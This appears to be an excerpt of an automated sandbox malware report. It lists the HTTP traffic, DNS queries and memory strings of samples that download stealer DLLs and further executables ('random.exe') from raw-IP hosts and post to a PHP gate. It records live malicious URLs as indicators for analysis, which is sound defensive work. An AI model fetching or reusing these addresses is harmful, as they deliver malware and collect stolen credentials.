Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: fleez-inc.sbs

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 912sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: skotes.exe, 0000001A.00000002.3476941425.000000000120E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 0000001A.00000002.3476941425.000000000120E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe6
Source: skotes.exe, 0000001A.00000002.3476941425.000000000120E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395d74:
Source: skotes.exe, 0000001A.00000002.3476941425.000000000120E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeUAU
Source: file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2723107847.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2723107847.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeX
Source: skotes.exe, 0000001A.00000002.3476941425.000000000123A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000001A.00000002.3476941425.000000000123A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe.exe
Source: skotes.exe, 0000001A.00000002.3476941425.000000000123A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe6139
Source: file.exe, 00000000.00000002.2721838299.0000000000335000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2723107847.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2723107847.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2723107847.0000000000F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2723107847.0000000000F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2723107847.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2723107847.0000000000F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2723107847.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2723107847.0000000000F44000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2723107847.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2723107847.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2721838299.0000000000335000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2723107847.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2723107847.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php3x
Source: file.exe, 00000000.00000002.2723107847.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php9
Source: file.exe, 00000000.00000002.2723107847.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpM
Source: file.exe, 00000000.00000002.2723107847.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpg
Source: file.exe, 00000000.00000002.2721838299.0000000000335000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpltHOMEDRIVE=C:HO
Source: file.exe, 00000000.00000002.2723107847.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206Gh
Source: file.exe, 00000000.00000002.2721838299.0000000000335000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 0000001A.00000002.3476941425.000000000120E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001A.00000002.3476941425.000000000120E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php;(
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 3cb3eea49a.exe, 0000001C.00000003.3467482962.0000000005693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 3cb3eea49a.exe, 0000001C.00000003.3467482962.0000000005693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 3cb3eea49a.exe, 0000001C.00000003.3467482962.0000000005693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 3cb3eea49a.exe, 0000001C.00000003.3467482962.0000000005693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 3cb3eea49a.exe, 0000001C.00000003.3467482962.0000000005693000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 3cb3eea49a.exe, 0000001C.00000003.3467482962.0000000005693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 3cb3eea49a.exe, 0000001C.00000003.3467482962.0000000005693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 3cb3eea49a.exe, 0000001C.00000003.3467482962.0000000005693000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 3cb3eea49a.exe, 0000001C.00000003.3467482962.0000000005693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_473.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2763775461.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2755125269.000000001D37E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 3cb3eea49a.exe, 0000001C.00000003.3467482962.0000000005693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 3cb3eea49a.exe, 0000001C.00000003.3467482962.0000000005693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2418528741.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3428018538.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427751709.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000568A000.00000004.00000800.00020000.00000000.sdmp, JKECFCFB.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_475.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_475.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: Reporting and NEL.10.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chromecache_475.5.dr, chromecache_473.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 1340dcc6-a033-4d5e-9fcf-c9929acadfb6.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3484070630.0000000005640000.00000004.00000800.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3484070630.0000000005640000.00000004.00000800.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2418528741.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3428018538.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427751709.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000568A000.00000004.00000800.00020000.00000000.sdmp, JKECFCFB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
